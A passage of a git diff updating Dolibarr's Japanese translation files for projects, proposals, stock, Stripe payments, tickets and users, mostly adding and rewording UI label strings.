      トランサクションID: %s diff --git a/htdocs/langs/ja_JP/productbatch.lang b/htdocs/langs/ja_JP/productbatch.lang index 25b2e47030a..a382132cbc0 100644 --- a/htdocs/langs/ja_JP/productbatch.lang +++ b/htdocs/langs/ja_JP/productbatch.lang @@ -17,6 +17,7 @@ printBatch=ロット/シリアル: %s printEatby=賞味: %s printSellby=消費: %s printQty=数量: %d +printPlannedWarehouse=倉庫: %s AddDispatchBatchLine=保存期限割当の行を追加 WhenProductBatchModuleOnOptionAreForced=モジュールロット/シリアルがオンの場合、自動在庫減少は強制的に「出荷検証時に実在庫を削減」し、自動増加モードは強制的に「倉庫への手動割当で実在庫を増やす」となり、編集は不可。他のオプションは必要に応じて定義可能。 ProductDoesNotUseBatchSerial=この製品はロット/シリアル番号を不使用 diff --git a/htdocs/langs/ja_JP/projects.lang b/htdocs/langs/ja_JP/projects.lang index 9820d8adcd6..049c0045097 100644 --- a/htdocs/langs/ja_JP/projects.lang +++ b/htdocs/langs/ja_JP/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=このビューには、読取りを許可されている全プ TasksDesc=このビューは、全プロジェクトとタスク(あなたのユーザ権限はあなたに全てを表示する権限を付与)を提示する。 AllTaskVisibleButEditIfYouAreAssigned=資格のあるプロジェクトの全タスクが表示されるが、選択したユーザに割り当てられたタスクの時間のみを入力できる。時間を入力する必要がある場合は、タスクを割り当てる。 OnlyYourTaskAreVisible=自分に割り当てられたタスクのみが表示される。タスクの時間を入力する必要があり、タスクがここに表示されていない場合は、タスクを自分に割り当てる必要がある。 +ImportDatasetProjects=プロジェクトまたは機会 ImportDatasetTasks=プロジェクトのタスク ProjectCategories=プロジェクトタグ/カテゴリ NewProject=新規プロジェクト @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=状態別に開いているプロジェク OpportunitiesStatusForProjects=状態別のプロジェクト数をリード ShowProject=プロジェクトを表示する ShowTask=タスクを表示する +SetThirdParty=取引先を設定 SetProject=プロジェクトを設定する。 +OutOfProject=プロジェクト外 NoProject=はプロジェクトが定義されていないまたは所有している NbOfProjects=プロジェクト数 NbOfTasks=タスクの数 @@ -122,7 +125,8 @@ ValidateProject=プロジェクトを検証 ConfirmValidateProject=このプロジェクトを検証してもよいか? CloseAProject=プロジェクトを閉じる ConfirmCloseAProject=このプロジェクトを終了してもよいか? -AlsoCloseAProject=また、プロジェクトを閉じる(それでも本番タスクを実行する必要がある場合は、開いたままにする) +AlsoCloseAProject=プロジェクトも閉じる +AlsoCloseAProjectTooltip=プロダクション タスクを実行する必要がある場合は、開いたままにしておく ReOpenAProject=開いているプロジェクト ConfirmReOpenAProject=このプロジェクトを再開してもよいか? ProjectContact=プロジェクトの連絡先 @@ -165,7 +169,7 @@ OpportunityProbability=リード確率 OpportunityProbabilityShort=鉛の確率。 OpportunityAmount=鉛量 OpportunityAmountShort=鉛量 -OpportunityWeightedAmount=機会加重量 +OpportunityWeightedAmount=確率で重み付けされた機会の量 OpportunityWeightedAmountShort=おっと。加重量 OpportunityAmountAverageShort=平均鉛量 OpportunityAmountWeigthedShort=加重鉛量 @@ -238,7 +242,7 @@ OppStatusPENDING=保留中 OppStatusWON=勝った OppStatusLOST=失われた Budget=予算 -AllowToLinkFromOtherCompany=他の会社のプロジェクトのリンクを許可する

      サポートされる値:
      - 空のままにする: 会社の任意のプロジェクトをリンクできる(デフォルト)
      - "すべて": 任意のプロジェクトをリンクできる、たとえ他の法人のプロジェクトであっても
      - カンマ区切りの取引先ID: これらの取引先の全プロジェクトをリンクできる(例:123,4795,53)
      +AllowToLinkFromOtherCompany=要素を他法人のプロジェクトにリンクすることを許可する

      使用できる値:
      - 空白のまま: 同じ法人の任意のプロジェクトと要素のリンク可能 (デフォルト)
      - "all": 任意のプロジェクトと要素のリンク可能、他法人のプロジェクトも
      - カンマ区切りの取引先IDリスト: 指定された取引先のプロジェクトと要素のリンク可能(例: 123,4795,53)
      LatestProjects=最新の%sプロジェクト LatestModifiedProjects=最新の%s変更プロジェクト OtherFilteredTasks=その他のフィルタリングされたタスク @@ -259,7 +263,7 @@ TimeSpentInvoiced=請求に費やされた時間 TimeSpentForIntervention=に費や​​された時間は TimeSpentForInvoice=に費や​​された時間は OneLinePerUser=ユーザごとに1行 -ServiceToUseOnLines=行で利用するサービス +ServiceToUseOnLines=デフォルトで回線で使用するサービス InvoiceGeneratedFromTimeSpent=請求書%sは、プロジェクトに費やされた時間から生成された InterventionGeneratedFromTimeSpent=出張%sは、プロジェクトに費やされた時間から生成された ProjectBillTimeDescription=プロジェクトのタスクにタイムシートを入力し、タイムシートから請求書(s)を生成してプロジェクトの顧客に請求する予定があるかどうかを確認する(入力したタイムシートに基づかない請求書を作成する予定があるかどうかは確認しないこと)。注:請求書を生成するには、プロジェクトの"費やした時間"タブに移動し、含める行を選択する。 @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=利益は以下を使用して計算される AddPersonToTask=タスクにも追加 UsageOrganizeEvent=使用法:イベント組織 PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=全タスクが完了したら、プロジェクトをクローズとして分類する(100%%の進行状況) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=注:100%%の進行状況にある全タスクを持つ既存のプロジェクトは影響を受けない。手動で閉じる必要がある。このオプションは、開いているプロジェクトにのみ影響する。 +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=注: すべてのタスクの進行状況が 100%% に設定されている既存のプロジェクトは影響を受けない。手動で閉じる必要がある。このオプションは、開いているプロジェクトにのみ影響する。 SelectLinesOfTimeSpentToInvoice=請求されていない時間の行を選択し、「請求書の生成」を一括して請求する ProjectTasksWithoutTimeSpent=プロジェクトタスクで時間をかけないもの FormForNewLeadDesc=連絡のため、以下のフォームへの記入に対して謝意を申し上げる。また、 %sで直接メール送信することも可能である。 @@ -294,3 +298,4 @@ EnablePublicLeadForm=連絡用の公開フォームを有効にする NewLeadbyWeb=メッセージまたはリクエストは記録済。すぐに回答または連絡する予定。 NewLeadForm=新規問合せフォーム LeadFromPublicForm=公開フォームからのオンライン導線 +ExportAccountingReportButtonLabel=レポートを入手 diff --git a/htdocs/langs/ja_JP/propal.lang b/htdocs/langs/ja_JP/propal.lang index 10bdfd74fa9..f2b2cddaefb 100644 --- a/htdocs/langs/ja_JP/propal.lang +++ b/htdocs/langs/ja_JP/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=可用性の遅延 SetAvailability=可用性の遅延を設定 AfterOrder=ご注文後 OtherProposals=他の提案書 + ##### Availability ##### AvailabilityTypeAV_NOW=即時の AvailabilityTypeAV_1W=1週間 AvailabilityTypeAV_2W=2週間 AvailabilityTypeAV_3W=3週間 AvailabilityTypeAV_1M=1ヶ月 -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=代表的なフォローアップの提案書 TypeContact_propal_external_BILLING=顧客の請求書の連絡先 TypeContact_propal_external_CUSTOMER=顧客の連絡先フォローアップ提案書 TypeContact_propal_external_SHIPPING=配達のための顧客の連絡先 + # Document models -DocModelAzurDescription=完全な提案書モデル(シアンテンプレートの古い実装) -DocModelCyanDescription=完全な提案書モデル -DefaultModelPropalCreate=デフォルトのモデル作成 -DefaultModelPropalToBill=ビジネスプロポーザルを閉じるときのデフォルトテンプレート(請求対象) -DefaultModelPropalClosed=ビジネスプロポーザルを閉じるときのデフォルトテンプレート(未請求) -ProposalCustomerSignature=承諾書、会社印、日付、署名 -ProposalsStatisticsSuppliers=ベンダー提案書統計 -CaseFollowedBy=ケースに続いて -SignedOnly=署名のみ -NoSign=署名されていないセット -NoSigned=署名されていないセット CantBeNoSign=署名せずに設定することはできない +CaseFollowedBy=ケースに続いて ConfirmMassNoSignature=一括無署名確定 ConfirmMassNoSignatureQuestion=選択したレコードに署名しないように設定してもよいか? -IsNotADraft=下書きではない -PassedInOpenStatus=検証済 -Sign=署名 -Signed=署名 -ConfirmMassValidation=一括検証確定 ConfirmMassSignature=一括署名確定 -ConfirmMassValidationQuestion=選択したレコードを検証してもよいか? ConfirmMassSignatureQuestion=選択したレコードに署名してもよいか? -IdProposal=プロポーザルID +ConfirmMassValidation=一括検証確定 +ConfirmMassValidationQuestion=選択したレコードを検証してもよいか? +ConfirmRefusePropal=この商取引提案を拒否してもよいか? +ContractSigned=締結済契約 +DefaultModelPropalClosed=ビジネスプロポーザルを閉じるときのデフォルトテンプレート(未請求) +DefaultModelPropalCreate=デフォルトのモデル作成 +DefaultModelPropalToBill=ビジネスプロポーザルを閉じるときのデフォルトテンプレート(請求対象) +DocModelAzurDescription=完全な提案書モデル(シアンテンプレートの古い実装) +DocModelCyanDescription=完全な提案書モデル +FichinterSigned=署名済出張 IdProduct=製品番号 +IdProposal=プロポーザルID +IsNotADraft=下書きではない LineBuyPriceHT=ラインの購入価格税控除後の金額 -SignPropal=提案を受諾 +NoSign=却下 +NoSigned=署名されていないセット +PassedInOpenStatus=検証済 +PropalAlreadyRefused=提案は既に拒否済 +PropalAlreadySigned=提案は受諾済 +PropalRefused=提案は拒否済 +PropalSigned=提案を受諾 +ProposalCustomerSignature=承諾書、会社印、日付、署名 +ProposalsStatisticsSuppliers=ベンダー提案書統計 RefusePropal=提案を拒否する Sign=署名 -NoSign=署名されていないセット -PropalAlreadySigned=提案は受諾済 -PropalAlreadyRefused=提案は既に拒否済 -PropalSigned=提案を受諾 -PropalRefused=提案は拒否済 -ConfirmRefusePropal=この商取引提案を拒否してもよいか? +SignContract=契約締結 +SignFichinter=出張に署名 +SignPropal=提案を受諾 +Signed=署名 +SignedOnly=署名のみ diff --git a/htdocs/langs/ja_JP/receptions.lang b/htdocs/langs/ja_JP/receptions.lang index a098f0598fa..8a53ebb6f15 100644 --- a/htdocs/langs/ja_JP/receptions.lang +++ b/htdocs/langs/ja_JP/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=下書き StatusReceptionValidatedShort=検証済 StatusReceptionProcessedShort=処理 ReceptionSheet=領収シート +ValidateReception=受信確認 ConfirmDeleteReception=この領収を削除してもよいか? ConfirmValidateReception=参照%s を使用して、この領収を検証してもよいか? ConfirmCancelReception=この領収をキャンセルしてもよいか? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=領収の採番モジュール ReceptionsReceiptModel=領収のドキュメントテンプレート NoMorePredefinedProductToDispatch=ディスパッチする事前定義された製品はもうない ReceptionExist=領収がある -ByingPrice=買取価格 ReceptionBackToDraftInDolibarr=領収%sは下書きに戻す ReceptionClassifyClosedInDolibarr=領収%sは閉鎖済指定 ReceptionUnClassifyCloseddInDolibarr=領収%sは再開 diff --git a/htdocs/langs/ja_JP/recruitment.lang b/htdocs/langs/ja_JP/recruitment.lang index b83e7ac69ac..2b0f4f4d3e4 100644 --- a/htdocs/langs/ja_JP/recruitment.lang +++ b/htdocs/langs/ja_JP/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=メール勧誘担当 ToUseAGenericEmail=一般的な電子メールを使用するには。定義されていない場合は、採用担当者のメールが使用される NewCandidature=新規アプリ ListOfCandidatures=アプリケーションのリスト -RequestedRemuneration=要求された報酬 -ProposedRemuneration=提案された報酬 +Remuneration=給料 +RequestedRemuneration=要求された給与 +ProposedRemuneration=提案された給与 ContractProposed=提案された契約 ContractSigned=契約締結 ContractRefused=契約は拒否された RecruitmentCandidature=応用 JobPositions=役職 RecruitmentCandidatures=アプリケーション -InterviewToDo=する面接 +InterviewToDo=フォローする連絡先 AnswerCandidature=アプリケーションの回答 YourCandidature=あなたの申請 YourCandidatureAnswerMessage=お申し込みいただきありがとうございる。
      ..。 diff --git a/htdocs/langs/ja_JP/salaries.lang b/htdocs/langs/ja_JP/salaries.lang index 1080cd93c71..45ed6078948 100644 --- a/htdocs/langs/ja_JP/salaries.lang +++ b/htdocs/langs/ja_JP/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=ユーザの取引先に使用される勘定科目 -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=ユーザカードで定義された専用の勘定科目は、補助元帳の会計にのみ使用される。これは総勘定元帳に使用され、ユーザの専用ユーザ勘定科目が定義されていない場合は補助元帳会計のデフォルト値として使用される。 +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=「ユーザ」取引先にデフォルトで使用されるアカウント (勘定科目表から) +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=ユーザカードに定義された専用口座は補助元帳会計のみに使用される。これは、General Ledger に使用され、ユーザの専用ユーザ アカウンティング アカウントが定義されていない場合は Subledger アカウンティングのデフォルト値として使用される。 SALARIES_ACCOUNTING_ACCOUNT_CHARGE=賃金支払のデフォルトの勘定科目 CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=デフォルトでは、給与を作成するときに ”支払合計を自動的に作成" オプションを空のままにする Salary=給料 diff --git a/htdocs/langs/ja_JP/stocks.lang b/htdocs/langs/ja_JP/stocks.lang index bee56bf56d2..8ee1e23e0d1 100644 --- a/htdocs/langs/ja_JP/stocks.lang +++ b/htdocs/langs/ja_JP/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=将来の日付 StocksByLotSerial=ロット/シリアル別の在庫 LotSerial=ロット/シリアル LotSerialList=ロット/シリアルのリスト +SubjectToLotSerialOnly=ロット・シリアルのみの対象製品 Movements=移動 ErrorWarehouseRefRequired=倉庫の参照名を指定する必要がある ListOfWarehouses=倉庫のリスト @@ -48,7 +49,7 @@ StockCorrection=在庫修正 CorrectStock=正しい在庫 StockTransfer=在庫移動 TransferStock=在庫移動 -MassStockTransferShort=大量在庫移動 +MassStockTransferShort=一括在庫変更 StockMovement=在庫推移 StockMovements=在庫推移 NumberOfUnit=ユニット数 @@ -146,8 +147,9 @@ Replenishments=補充 NbOfProductBeforePeriod=選択した期間の前に在庫がある製品%sの数量(<%s) NbOfProductAfterPeriod=選択した期間後の在庫の製品%sの数量(> %s) MassMovement=マス移動 -SelectProductInAndOutWareHouse=ソース倉庫とターゲット倉庫、製品と数量を選択し、「%s」をクリックする。必要な全動きに対してこれが完了したら、「%s」をクリックする。 +SelectProductInAndOutWareHouse=ソース倉庫(オプション)、ターゲット倉庫、製品、および数量を選択し、「%s」をクリックする。必要なすべての移動についてこれが完了したら、「%s」をクリックする。 RecordMovement=レコード移動 +RecordMovements=在庫の動きを記録する ReceivingForSameOrder=この注文の領収書 StockMovementRecorded=記録された在庫推移 RuleForStockAvailability=在庫要件に関する規則 @@ -234,7 +236,7 @@ StockIncrease=在庫増加 StockDecrease=在庫減少 InventoryForASpecificWarehouse=特定の倉庫の目録 InventoryForASpecificProduct=特定の製品の目録 -StockIsRequiredToChooseWhichLotToUse=使用するロットを選択するには在庫が必要 +StockIsRequiredToChooseWhichLotToUse=使用するロットを選択するには、既存の在庫が必要です ForceTo=強制する AlwaysShowFullArbo=倉庫リンクのポップアップに倉庫の完全なツリーを表示する(警告:これによりパフォーマンスが大幅に低下する可能性がある) StockAtDatePastDesc=過去の特定の日付の在庫(実際の在庫)をここで表示できる @@ -270,7 +272,7 @@ InventoryStartedShort=開始済 ErrorOnElementsInventory=次の理由により、操作がキャンセルされた。 ErrorCantFindCodeInInventory=インベントリに次のコードが見つからない QtyWasAddedToTheScannedBarcode=成功 !!数量は、要求された全バーコードに追加された。スキャナーツールを閉じることができる。 -StockChangeDisabled=在庫変更は無効化済 +StockChangeDisabled=在庫変更無効 NoWarehouseDefinedForTerminal=ターミナル用に倉庫が定義されていない ClearQtys=全数量をクリアする ModuleStockTransferName=高度な在庫移動 diff --git a/htdocs/langs/ja_JP/stripe.lang b/htdocs/langs/ja_JP/stripe.lang index 68a15282dee..12186cdef71 100644 --- a/htdocs/langs/ja_JP/stripe.lang +++ b/htdocs/langs/ja_JP/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhookライブキー ONLINE_PAYMENT_WAREHOUSE=オンライン支払が行われるときに在庫減少に使用する在庫
      (TODO請求書のアクションで在庫を減らすオプションが実行され、オンライン支払がそれ自体で請求書を生成する場合?) StripeLiveEnabled=Stripe ライブが有効(それ以外の場合はテスト/サンドボックスモード) StripeImportPayment=Stripe 支払のインポート -ExampleOfTestCreditCard=テスト用のクレジットカードの例:%s =>有効、%s =>エラーCVC、%s =>期限切れ、%s =>充電に失敗 +ExampleOfTestCreditCard=SEPA テストのクレジット カードの例: %s => 有効、%s => エラー CVC、%s => 有効期限切れ、%s => 請求失敗 +ExampleOfTestBankAcountForSEPA=口座振替テストの銀行口座 BAN の例: %s StripeGateways=Stripe ゲートウェイ OAUTH_STRIPE_TEST_ID=Stripe ConnectクライアントID(ca _...) OAUTH_STRIPE_LIVE_ID=Stripe ConnectクライアントID(ca _...) @@ -61,6 +62,7 @@ DeleteACard=カードを削除 ConfirmDeleteCard=このクレジットカードまたはデビットカードを削除してもよいか? CreateCustomerOnStripe=Stripeで顧客を作成する CreateCardOnStripe=Stripeでカードを作成する +CreateBANOnStripe=Stripe で銀行を作成する ShowInStripe=Stripe で表示 StripeUserAccountForActions=一部のStripeイベントの電子メール通知に使用するユーザアカウント(Stripeペイアウト) StripePayoutList=Stripe ペイアウトのリスト @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=IPNを呼び出すためのStripeWebHookの設定へ PaymentWillBeRecordedForNextPeriod=支払は次の期間に記録される。 ClickHereToTryAgain= ここをクリックして再試行すること... CreationOfPaymentModeMustBeDoneFromStripeInterface=強力な顧客認証ルールにより、カードの作成はStripeバックオフィスから行う必要がある。 Stripeの顧客レコードをオンにするには、ここをクリックすること:%s -TERMINAL_LOCATION=端末の場所(住所) +STRIPE_CARD_PRESENT=ストライプ端末のカードプレゼント +TERMINAL_LOCATION=Stripe 端末の場所 (アドレス) +RequestDirectDebitWithStripe=Stripe で口座振替をリクエストする +STRIPE_SEPA_DIRECT_DEBIT=Stripe による口座振替の支払いを有効にする + diff --git a/htdocs/langs/ja_JP/suppliers.lang b/htdocs/langs/ja_JP/suppliers.lang index f0550761e92..243169173c7 100644 --- a/htdocs/langs/ja_JP/suppliers.lang +++ b/htdocs/langs/ja_JP/suppliers.lang @@ -4,6 +4,7 @@ SuppliersInvoice=仕入先請求書 SupplierInvoices=仕入先請求書 ShowSupplierInvoice=仕入先の請求書を表示する NewSupplier=新規仕入先 +NewSupplierInvoice = 新規ベンダーの請求書 History=履歴 ListOfSuppliers=仕入先のリスト ShowSupplier=仕入先を表示 diff --git a/htdocs/langs/ja_JP/ticket.lang b/htdocs/langs/ja_JP/ticket.lang index d1ba081b31e..654b5ebe4ae 100644 --- a/htdocs/langs/ja_JP/ticket.lang +++ b/htdocs/langs/ja_JP/ticket.lang @@ -26,7 +26,9 @@ Permission56002=チケットを変更する Permission56003=チケットを削除する Permission56004=チケットを管理する Permission56005=全取引先のチケットを参照すること(外部ユーザには有効ではなく、常に依存している取引先に限定される) +Permission56006=チケットのエクスポート +Tickets=切符売場 TicketDictType=チケット-タイプ TicketDictCategory=チケット-グループ TicketDictSeverity=チケット-重大度 @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=外部寄稿者 OriginEmail=レポーターのメール Notify_TICKET_SENTBYMAIL=メールでチケットメッセージを送信する +ExportDataset_ticket_1=切符売場 + # Status Read=読む Assigned=割り当て済 @@ -90,8 +94,8 @@ TicketPublicAccess=IDを必要としない公開インターフェイスは、 TicketSetupDictionaries=チケットのタイプ、重大度、および分析コードは辞書から構成できる TicketParamModule=モジュール変数の設定 TicketParamMail=メールの設定 -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=回答の通知のための送信者メール +TicketEmailNotificationFromHelp=バックオフィス内で回答が提供されたときに通知メールを送信するために使用する送信者メール。例: noreply@example.com TicketEmailNotificationTo=このメールアドレスにチケット作成を通知する TicketEmailNotificationToHelp=存在する場合、この電子メールアドレスにチケット作成が通知される TicketNewEmailBodyLabel=チケット作成後に送信されるテキストメッセージ @@ -112,21 +116,21 @@ TicketPublicInterfaceTopicHelp=このテキストは、公開インターフェ TicketPublicInterfaceTextHelpMessageLabelAdmin=メッセージエントリへのヘルプテキスト TicketPublicInterfaceTextHelpMessageHelpAdmin=このテキストは、ユーザのメッセージ入力領域の上に表示される。 ExtraFieldsTicket=追加の属性 -TicketCkEditorEmailNotActivated=HTMLエディタが有効化されていない。 FCKEDITOR_ENABLE_MAILのコンテンツを1に設定して取得すること。 +TicketCkEditorEmailNotActivated=HTMLエディタが活性化されていない。 FCKEDITOR_ENABLE_MAILのコンテンツを1に設定して取得すること。 TicketsDisableEmail=チケットの作成やメッセージの記録のためにメールを送信しないこと -TicketsDisableEmailHelp=デフォルトでは、新規チケットまたはメッセージが作成されたときに電子メールが送信される。このオプションを有効にすると、*全*電子メール通知が無効になる -TicketsLogEnableEmail=メールでログを有効にする +TicketsDisableEmailHelp=デフォルトでは、新規チケットまたはメッセージが作成されたときに電子メールが送信される。このオプションを有効化すると、*全*電子メール通知が無効になる +TicketsLogEnableEmail=メールでログを有効化 TicketsLogEnableEmailHelp=変更のたびに、チケットに関連付けられた**各連絡先**にメールが送信される。 TicketParams=パラメータ TicketsShowModuleLogo=公開インターフェイスにモジュールのロゴを表示する -TicketsShowModuleLogoHelp=このオプションを有効にすると、公開インターフェイスのページでロゴモジュールが非表示になる +TicketsShowModuleLogoHelp=このオプションを有効化と、公開インターフェイスのページでロゴモジュールが非表示になる TicketsShowCompanyLogo=公開インターフェイスに法人のロゴを表示する -TicketsShowCompanyLogoHelp=このオプションを有効にすると、公開インターフェイスのページで主要法人のロゴが非表示になる。 +TicketsShowCompanyLogoHelp=このオプションを有効化すると、公開インターフェイスのページで主法人のロゴが非表示になる。 TicketsEmailAlsoSendToMainAddress=また、メインの電子メールアドレスに通知を送信する -TicketsEmailAlsoSendToMainAddressHelp=このオプションを有効にすると、設定「%s」で定義されたアドレスにも電子メールが送信される(タブ「%s」を参照)。 +TicketsEmailAlsoSendToMainAddressHelp=このオプションを有効化と、設定「%s」で定義されたアドレスにも電子メールが送信される(タブ「%s」を参照)。 TicketsLimitViewAssignedOnly=現在のユーザに割り当てられたチケットに表示を制限する(外部ユーザには無効で、常に依存している取引先に制限される) TicketsLimitViewAssignedOnlyHelp=現在のユーザに割り当てられているチケットのみが表示される。チケット管理権を持つユーザには適用されない。 -TicketsActivatePublicInterface=公開インターフェイスを有効化する +TicketsActivatePublicInterface=公開インターフェイスを活性化する TicketsActivatePublicInterfaceHelp=公開インターフェイスにより、全訪問者がチケットを作成できる。 TicketsAutoAssignTicket=チケットを作成したユーザを自動的に割り当てる TicketsAutoAssignTicketHelp=チケットを作成するときに、ユーザを自動的にチケットに割り当てることができる。 @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=チケットを閉じるときに、サードパー TicketWrongContact=提供された連絡先は、現在のチケット連絡先の一部ではない。メールは送信されない。 TicketChooseProductCategory=チケットサポートの製品カテゴリ TicketChooseProductCategoryHelp=チケットサポートの製品カテゴリを選択する。これは、契約をチケットに自動的にリンクするために使用される。 +TicketUseCaptchaCode=チケットの作成時にグラフィカル コード (CAPTCHA) を使用する +TicketUseCaptchaCodeHelp=新しいチケットを作成するときに CAPTCHA 検証を追加する。 # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=によって作成された NewTicket=新規チケット SubjectAnswerToTicket=チケットの回答 TicketTypeRequest=要求の種類 -TicketCategory=チケット分類 +TicketCategory=チケットグループ SeeTicket=チケットを見る TicketMarkedAsRead=チケットは既読としてマークされている TicketReadOn=読む @@ -192,8 +198,7 @@ TicketAssigned=チケットが割り当てられました TicketChangeType=タイプを変更する TicketChangeCategory=分析コードを変更する TicketChangeSeverity=重大度の変更 -TicketAddMessage=メッセージを追加 -AddMessage=メッセージを追加 +TicketAddMessage=プライベート メッセージを追加 MessageSuccessfullyAdded=チケット追加 TicketMessageSuccessfullyAdded=メッセージが正常に追加された TicketMessagesList=メッセージリスト @@ -204,8 +209,8 @@ TicketSeverity=重大度 ShowTicket=チケットを見る RelatedTickets=関連チケット TicketAddIntervention=介入を作成する -CloseTicket=チケットを 閉じる|解決 する -AbandonTicket=チケットを放棄する +CloseTicket=閉鎖|解決 +AbandonTicket=放棄する CloseATicket=チケット1つを 閉じる|解決 する ConfirmCloseAticket=チケットの終了を確定する ConfirmAbandonTicket=チケットを終了し、状態を「放棄」に確定するか @@ -219,18 +224,17 @@ SendMessageByEmail=メールでメッセージを送る TicketNewMessage=新規メッセージ ErrorMailRecipientIsEmptyForSendTicketMessage=受信者は空。メール送信なし TicketGoIntoContactTab=「連絡先」タブに移動して選択すること -TicketMessageMailIntro=前書き +TicketMessageMailIntro=メッセージ ヘッダー TicketMessageMailIntroHelp=このテキストはメールの冒頭にのみ追加され、保存されない。 -TicketMessageMailIntroLabelAdmin=全チケット回答の紹介テキスト TicketMessageMailIntroText=こんにちは、
      あなたがフォローしているチケットに新しい回答が追加された。メッセージは次のとおりです:
      TicketMessageMailIntroHelpAdmin=このテキストは、Dolibarrからのチケットに返信するときに、回答の前に挿入される -TicketMessageMailSignature=署名 -TicketMessageMailSignatureHelp=このテキストはメールの最後にのみ追加され、保存されない。 -TicketMessageMailSignatureText=Dolibarr経由で%sによって送信されたメッセージ -TicketMessageMailSignatureLabelAdmin=返信メールの署名 -TicketMessageMailSignatureHelpAdmin=このテキストは、応答メッセージの後に挿入される。 +TicketMessageMailFooter=メッセージフッター +TicketMessageMailFooterHelp=このテキストは、電子メールで送信されたメッセージの最後にのみ追加され、保存されない。 +TicketMessageMailFooterText=Dolibarr 経由で %s によって送信されたメッセージ +TicketMessageMailFooterHelpAdmin=このテキストは、応答メッセージの後に挿入される。 TicketMessageHelp=このテキストのみがチケットカードのメッセージリストに保存される。 TicketMessageSubstitutionReplacedByGenericValues=置換変数は一般的な値に置き換えられる。 +ForEmailMessageWillBeCompletedWith=外部ユーザに送信されたメール メッセージの場合、メッセージを完了するには、 TimeElapsedSince=からの経過時間 TicketTimeToRead=読込むまでの経過時間 TicketTimeElapsedBeforeSince=前後の経過時間 @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=件名が%sの新規メッセージ TicketAssignedToYou=割り当てられたチケット TicketAssignedEmailBody=%sによってチケット#%sが割り当てられました MarkMessageAsPrivate=メッセージを非公開としてマークする +TicketMessageSendEmailHelp=割り当てられたすべての連絡先に電子メールが送信される (内部連絡先だけでなく、オプション「%s」がチェックされている場合を除き、外部連絡先も含まれる)。 TicketMessagePrivateHelp=このメッセージは外部ユーザには表示されない TicketEmailOriginIssuer=チケットの発行元の発行者 InitialMessage=最初のメッセージ @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=次のリンクをクリックすると TicketCloseEmailBodyInfosTrackUrlCustomer=次のリンクをクリックすると、このチケットの履歴を確認できる TicketEmailPleaseDoNotReplyToThisEmail=このメールに直接返信しないこと。リンクを使用して、インターフェースに返信する。 TicketPublicInfoCreateTicket=このフォームを使用すると、管理システムにサポートチケットを記録できる。 -TicketPublicPleaseBeAccuratelyDescribe=問題を正確に説明すること。お客様の要求を正しく特定できるように、可能な限り多くの情報を提供すること。 +TicketPublicPleaseBeAccuratelyDescribe=質問を正確に説明すること。お客様のリクエストを正確に特定できるよう、できるだけ多くの情報を提供すること。 TicketPublicMsgViewLogIn=チケット追跡IDを入力すること TicketTrackId=公開トラッキングID OneOfTicketTrackId=トラッキングIDの1つ diff --git a/htdocs/langs/ja_JP/users.lang b/htdocs/langs/ja_JP/users.lang index 14fd18b1424..ccc2e086e18 100644 --- a/htdocs/langs/ja_JP/users.lang +++ b/htdocs/langs/ja_JP/users.lang @@ -18,13 +18,13 @@ DisableUser=無効にする DisableAUser=ユーザを無効にする DeleteUser=削除 DeleteAUser=ユーザを削除する -EnableAUser=ユーザを有効にする。 +EnableAUser=ユーザを有効化。 DeleteGroup=削除する DeleteAGroup=グループを削除する ConfirmDisableUser=ユーザ%s を無効にしてもよいか? ConfirmDeleteUser=ユーザ%s を削除してもよいか? ConfirmDeleteGroup=グループ%s を削除してもよいか? -ConfirmEnableUser=ユーザ%s を有効にするか? +ConfirmEnableUser=ユーザ%s を有効化するか? ConfirmReinitPassword=ユーザ%s の新規パスワードを生成してもよいか? ConfirmSendNewPassword=ユーザ%s の新規パスワードを生成して送信してもよいか? NewUser=新規ユーザ @@ -47,7 +47,7 @@ RemoveFromGroup=グループから削除 PasswordChangedAndSentTo=パスワードが変更され%sに送信された。 PasswordChangeRequest= %sのパスワード変更を要求 PasswordChangeRequestSent=%s のパスワード変更を要求するには %s に送信する。 -IfLoginExistPasswordRequestSent=このログインが有効なアカウントである場合、パスワードをリセットするための電子メールが送信されている。 +IfLoginExistPasswordRequestSent=このログインが有効なアカウント (有効な電子メール) である場合、パスワードをリセットするための電子メールが送信されている。 IfEmailExistPasswordRequestSent=このメールが有効なアカウントである場合、パスワードをリセットするためのメールが送信されている。 ConfirmPasswordReset=パスワードのリセットを確定する MenuUsersAndGroups=ユーザとグループ @@ -66,12 +66,12 @@ LinkedToDolibarrUser=ユーザへのリンク LinkedToDolibarrThirdParty=取引先へのリンク CreateDolibarrLogin=ユーザを作成する CreateDolibarrThirdParty=取引先を作成する。 -LoginAccountDisableInDolibarr=Dolibarrでアカウントを無効にする。 +LoginAccountDisableInDolibarr=Dolibarr で無効になっているアカウント +PASSWORDInDolibarr=Dolibarr で変更されたパスワード UsePersonalValue=個人的な値を使用 -InternalUser=内部ユーザ 